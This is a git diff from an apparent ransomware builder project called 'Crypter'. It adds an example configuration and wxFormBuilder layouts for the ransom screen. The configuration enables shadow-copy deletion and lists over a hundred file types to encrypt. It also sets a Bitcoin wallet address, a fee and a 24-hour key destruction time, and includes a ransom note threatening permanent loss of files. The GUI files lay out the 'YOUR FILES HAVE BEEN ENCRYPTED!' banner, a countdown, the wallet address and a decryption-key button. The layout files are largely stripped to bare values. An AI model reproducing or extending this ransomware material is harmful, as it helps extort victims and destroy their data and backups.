Bitcoin Fee to the specified wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destroyed and access to your files will be permanently lost.", - "debug_level": "1 - Low" -} \ No newline at end of file diff --git a/config_example.cfg b/config_example.cfg new file mode 100644 index 0000000..178c194 --- /dev/null +++ b/config_example.cfg @@ -0,0 +1,214 @@ +{ + "builder_language": "English", + "pyinstaller_aes_key": "", + "icon_file": "C:\\dev\\py\\Crypter\\CrypterBuilder\\Resources\\pdf.ico", + "open_gui_on_login": true, + "gui_title": "CRYPTER", + "upx_dir": "", + "delete_shadow_copies": true, + "disable_task_manager": false, + "key_destruction_time": "86400", + "wallet_address": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay", + "bitcoin_fee": "0.08134", + "encrypt_attached_drives": false, + "encrypt_user_home": false, + "max_file_size_to_encrypt": "512", + "filetypes_to_encrypt": [ + "dat", + "keychain", + "sdf", + "vcf", + "jpg", + "png", + "tiff", + "tif", + "gif", + "jpeg", + "jif", + "jfif", + "jp2", + "jpx", + "j2k", + "j2c", + "fpx", + "pcd", + "bmp", + "svg", + "3dm", + "3ds", + "max", + "obj", + "dds", + "psd", + "tga", + "thm", + "tif", + "tiff", + "yuv", + "ai", + "eps", + "ps", + "svg", + "indd", + "pct", + "mp4", + "avi", + "mkv", + "3g2", + "3gp", + "asf", + "flv", + "m4v", + "mov", + "mpg", + "rm", + "srt", + "swf", + "vob", + "wmv", + "doc", + "docx", + "txt", + "pdf", + "log", + "msg", + "odt", + "pages", + "rtf", + "tex", + "wpd", + "wps", + "csv", + "ged", + "key", + "pps", + "ppt", + "pptx", + "xml", + "json", + "xlsx", + "xlsm", + "xlsb", + "xls", + "mht", + "mhtml", + "htm", + "html", + "xltx", + "prn", + "dif", + "slk", + "xlam", + "xla", + "ods", + "docm", + "dotx", + "dotm", + "xps", + "ics", + "mp3", + "aif", + "iff", + "m3u", + "m4a", + "mid", + "mpa", + "wav", + "wma", + "msi", + "php", + "apk", + "app", + "bat", + "cgi", + "com", + "asp", + "aspx", + "cer", + "cfm", + "css", + "htm", + "html", + "js", + "jsp", + "rss", + "xhtml", + "c", + "class", + "cpp", + "cs", + "h", + "java", + "lua", + "pl", + "py", + "sh", + "sln", + "swift", + "vb", + "vcxproj", + "dem", + "gam", + "nes", + "rom", + "sav", + "tgz", + "zip", + "rar", + "tar", + "7z", + "cbr", + "deb", + "gz", + "pkg", + "rpm", + "zipx", + "iso", + "ged", + "accdb", + "db", + "dbf", + "mdb", + "sql", + "fnt", + "fon", + "otf", + "ttf", + "cfg", + "ini", + "prf", + "bak", + "old", + "tmp", + "torrent" + ], + "encrypted_file_extension": "crypter", + "make_gui_resizeable": true, + "always_on_top": false, + "background_colour": [ + 177, + 7, + 14, + 255 + ], + "heading_font_colour": [ + 0, + 0, + 0, + 255 + ], + "primary_font_colour": [ + 255, + 255, + 0, + 255 + ], + "secondary_font_colour": [ + 255, + 255, + 255, + 255 + ], + "ransom_message": "The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the Bitcoin Fee to the specified wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destroyed and access to your files will be permanently lost.", + "debug_level": "3 - High" +} \ No newline at end of file diff --git a/gui/Crypter/crypter.fbp b/gui/Crypter/crypter.fbp new file mode 100644 index 0000000..ec542b8 --- /dev/null +++ b/gui/Crypter/crypter.fbp @@ -0,0 +1,1284 @@ + + + + + + C++ + 1 + source_name + 0 + 0 + res + UTF-8 + connect + + 1000 + none + 0 + MyProject2 + + . + + 1 + 1 + 1 + 1 + UI + 0 + 0 + + 0 + wxAUI_MGR_DEFAULT + 177,7,14 + wxBOTH + + 1 + 1 + impl_virtual + + + + 0 + wxID_ANY + -1,-1 + + MyFrame2 + + -1,-1 + wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX + + + + + + wxTAB_TRAVERSAL + 1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1100,-1 + bSizer8 + wxVERTICAL + none + + 20 + wxEXPAND | wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel7 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer16 + wxVERTICAL + none + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + Load From File; C:\development\Crypter\build\images\crypter.bmp + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_bitmap9 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,18,75,0 + 0 + 0 + wxID_ANY + YOUR FILES HAVE BEEN ENCRYPTED! + + 0 + + + 0 + + 1 + m_staticText8 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 20 + wxALL|wxEXPAND + 2 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel71 + 1 + + + protected + 1 + -1,-1 + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer17 + wxHORIZONTAL + none + + 7 + wxALIGN_CENTER_HORIZONTAL|wxALL + 3 + + 1 + 1 + 1 + 1 + + + + + + + Load From File; C:\development\Crypter\build\images\crypter_logo.bmp + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_bitmap10 + 1 + + + protected + 1 + -1,-1 + Resizable + 1 + + + 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10 + wxALL|wxEXPAND + 7 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + Courier New,90,90,14,75,0 + 0 + 0 + wxID_ANY + + 0 + -1,-1 + + + 0 + -1,-1 + 1 + m_textCtrl5 + 1 + + + protected + 1 + + Resizable + 1 + + wxTE_MULTILINE|wxTE_NO_VSCROLL|wxTE_READONLY + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + The important files on your computer have been encrypted with military grade AES-256 bit encryption. Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. To acquire this key, transfer a total of 1 BTC to the Bitcoin wallet address below within 72 hours. If you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel72 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer18 + wxVERTICAL + none + + 5 + wxEXPAND + 1 + + + bSizer20 + wxHORIZONTAL + none + + 5 + wxEXPAND + 2 + + 0 + protected + 0 + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + KEY DESTRUCTION IN: + + 0 + + + 0 + + 1 + m_staticText81 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,16,75,1 + 0 + 0 + wxID_ANY + 72:00:00 + + 0 + + + 0 + + 1 + m_staticText812 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 2 + + 0 + protected + 0 + + + + + + 5 + wxEXPAND + 1 + + + bSizer21 + wxHORIZONTAL + none + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + WALLET ADDRESS: + + 0 + + + 0 + + 1 + m_staticText811 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,16,75,1 + 0 + 0 + wxID_ANY + 1BoatSLRHtKNngkdXEeobR76b53LETtpyT + + 0 + + + 0 + + 1 + m_staticText8121 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + + + 0 + wxEXPAND + 1 + + + bSizer211 + wxHORIZONTAL + none + + 5 + wxALL|wxEXPAND + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + View Encrypted Files + + 0 + + + 0 + + 1 + m_button7 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL|wxEXPAND + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + Enter Decryption Key + + 0 + + + 0 + + 1 + m_button8 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/gui/Crypter/crypter.fbp.bak b/gui/Crypter/crypter.fbp.bak new file mode 100644 index 0000000..691fd2b --- /dev/null +++ b/gui/Crypter/crypter.fbp.bak @@ -0,0 +1,1284 @@ + + + + + + C++ + 1 + source_name + 0 + 0 + res + UTF-8 + connect + + 1000 + none + 0 + MyProject2 + + . + + 1 + 1 + 1 + 1 + UI + 0 + 0 + + 0 + wxAUI_MGR_DEFAULT + 177,7,14 + wxBOTH + + 1 + 1 + impl_virtual + + + + 0 + wxID_ANY + -1,-1 + + MyFrame2 + + -1,-1 + wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX + + + + + + wxTAB_TRAVERSAL + 1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1100,-1 + bSizer8 + wxVERTICAL + none + + 20 + wxEXPAND | wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel7 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer16 + wxVERTICAL + none + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + Load From File; C:\development\Crypter\build\images\crypter.bmp + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_bitmap9 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,18,75,0 + 0 + 0 + wxID_ANY + YOUR FILES HAVE BEEN ENCRYPTED! + + 0 + + + 0 + + 1 + m_staticText8 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 20 + wxALL|wxEXPAND + 2 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel71 + 1 + + + protected + 1 + -1,-1 + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer17 + wxHORIZONTAL + none + + 7 + wxALIGN_CENTER_HORIZONTAL|wxALL + 3 + + 1 + 1 + 1 + 1 + + + + + + + Load From File; C:\development\Crypter\build\images\crypter_logo.bmp + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_bitmap10 + 1 + + + protected + 1 + -1,-1 + Resizable + 1 + + + 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10 + wxALL|wxEXPAND + 7 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + Courier New,90,90,14,75,0 + 0 + 0 + wxID_ANY + + 0 + -1,-1 + + + 0 + -1,-1 + 1 + m_textCtrl5 + 1 + + + protected + 1 + + Resizable + 1 + + wxTE_MULTILINE|wxTE_NO_VSCROLL|wxTE_READONLY + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + The important files on your computer have been encrypted with military grade AES-256 bit encryption. Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. To acquire this key, transfer a total of 1 BTC to the Bitcoin wallet address below within 72 hours. If you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel72 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer18 + wxVERTICAL + none + + 5 + wxEXPAND + 1 + + + bSizer20 + wxHORIZONTAL + none + + 5 + wxEXPAND + 2 + + 0 + protected + 0 + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + KEY DESTRUCTION IN: + + 0 + + + 0 + + 1 + m_staticText81 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,16,75,1 + 0 + 0 + wxID_ANY + 72:00:00 + + 0 + + + 0 + + 1 + m_staticText812 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 2 + + 0 + protected + 0 + + + + + + 5 + wxEXPAND + 1 + + + bSizer21 + wxHORIZONTAL + none + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + WALLET ADDRESS: + + 0 + + + 0 + + 1 + m_staticText811 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,16,75,1 + 0 + 0 + wxID_ANY + 1BoatSLRHtKNngkdXEeobR76b53LETtpyT + + 0 + + + 0 + + 1 + m_staticText8121 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + + + 0 + wxEXPAND + 1 + + + bSizer211 + wxHORIZONTAL + none + + 5 + wxALL|wxEXPAND + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + View Encrypted Files + + 0 + + + 0 + + 1 + m_button7 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL|wxEXPAND + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + Enter Decryption Key + + 0 + + + 0 + + 1 + m_button8 + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/gui/Crypter/final.fbp b/gui/Crypter/final.fbp new file mode 100644 index 0000000..974ba58 --- /dev/null +++ b/gui/Crypter/final.fbp @@ -0,0 +1,2053 @@ + + + + + + Python + 1 + source_name + 0 + 0 + res + UTF-8 + connect + GuiAbsBase + 1000 + none + + 0 + Crypter + + C:\dev\py\Crypter\Crypter + + 1 + 1 + 1 + 1 + UI + 0 + 0 + + 0 + wxAUI_MGR_DEFAULT + 177,7,14 + wxBOTH + + 1 + 1 + impl_virtual + + wxSYS_COLOUR_BTNTEXT + + 0 + wxID_ANY + -1,-1 + -1,-1 + MainFrame + + 940,800 + wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX|wxRESIZE_BORDER|wxSYSTEM_MENU + + Crypter + + + + wxTAB_TRAVERSAL + 1 + + -1,-1 + MainSizer + wxVERTICAL + none + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + HeaderPanel + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + HeaderSizer + wxVERTICAL + none + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNTEXT + 1 + Courier New,90,92,48,75,1 + 0 + 0 + wxID_ANY + CRYPTER + 0 + + 0 + + + 0 + + 1 + TitleLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + 5 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,18,75,0 + 0 + 0 + wxID_ANY + YOUR FILES HAVE BEEN ENCRYPTED! + 0 + + 0 + + + 0 + + 1 + FlashingMessageText + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + 20 + wxALL|wxEXPAND + 2 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + BodyPanel + 1 + + + protected + 1 + -1,-1 + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + BodySizer + wxVERTICAL + none + + 5 + wxEXPAND + 1 + + + bSizer15 + wxHORIZONTAL + none + + 5 + + 1 + + + bSizer17 + wxHORIZONTAL + none + + 5 + wxALIGN_CENTER_HORIZONTAL|wxEXPAND + 0 + + + bSizer20 + wxVERTICAL + none + + 0 + wxEXPAND | wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel81 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + bSizer192 + wxVERTICAL + none + + 7 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + LockBitmap + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + + + + + + + + 5 + wxALL|wxEXPAND + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel8 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL|wxBORDER_RAISED + + + bSizer191 + wxVERTICAL + none + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + TIME REMAINING + 0 + + 0 + + + 0 + + 1 + TimeRemainingLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + 5 + wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + 00:00:00 + 0 + + 0 + + + 0 + + 1 + TimeRemainingTime + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + 5 + wxEXPAND + 1 + + + bSizer18 + wxVERTICAL + none + + 7 + wxALL|wxEXPAND + 3 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + Courier New,90,90,14,75,0 + 0 + 0 + wxID_ANY + + 0 + -1,-1 + + + 0 + -1,-1 + 1 + RansomMessageText + 1 + + + protected + 1 + + Resizable + 1 + + wxTE_MULTILINE|wxTE_READONLY + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + The important files on your computer have been encrypted with military grade AES-256 bit encryption. Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. To acquire this key, transfer the Bitcoin fee to the Bitcoin wallet address before the time runs out. If you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost. For more information on what Bitcoin is, and to learn where you can buy Bitcoins, click the Bitcoin button directly below the timer. + + + + + + + + + + + + + + + + 20 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + FooterPanel + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + bSizer181 + wxHORIZONTAL + none + + 5 + wxEXPAND | wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel9 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + bSizer22 + wxVERTICAL + none + + 5 + wxALIGN_CENTER|wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + + 1 + 0 + 1 + + 1 + + 0 + 0 + + Dock + 0 + Left + 1 + + 1 + + + 0 + 0 + wxID_ANY + MyButton + + 0 + + 0 + -1,-1 + + 0 + -1,-1 + 1 + BitcoinButton + 1 + + + protected + 1 + + + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + 5 + wxEXPAND + 3 + + wxID_ANY + + + sbSizer2 + wxVERTICAL + 1 + none + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel10 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + bSizer221 + wxVERTICAL + none + + 5 + wxEXPAND + 0 + + + bSizer13 + wxHORIZONTAL + none + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + WALLET ADDRESS: + 0 + + 0 + + + 0 + + 1 + WalletAddressLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + 1BoatSLRHtKNngkdXEeobR76b53LETtpyT + 0 + + 0 + + + 0 + + 1 + WalletAddressString + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + 5 + wxEXPAND + 0 + + + bSizer14 + wxHORIZONTAL + none + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + BITCOIN FEE + 0 + + 0 + + + 0 + + 1 + BitcoinFeeLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + 1.50 + 0 + + 0 + + + 0 + + 1 + BitcoinFeeString + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + 5 + wxALIGN_RIGHT|wxEXPAND + 2 + + -1,40 + bSizer19 + wxHORIZONTAL + none + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + + 1 + 0 + 1 + + 1 + + 0 + 0 + + Dock + 0 + Left + 1 + + 1 + + + 0 + 0 + wxID_ANY + View Encrypted Files + + 0 + + 0 + + + 0 + -1,-1 + 1 + ViewEncryptedFilesButton + 1 + + + protected + 1 + + + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + + 1 + 0 + 1 + + 1 + + 0 + 0 + + Dock + 0 + Left + 1 + + 1 + + + 0 + 0 + wxID_ANY + Enter Decryption Key + + 0 + + 0 + + + 0 + -1,-1 + 1 + EnterDecryptionKeyButton + 1 + + + protected + 1 + + + + Resizable + 1 + + + + 0 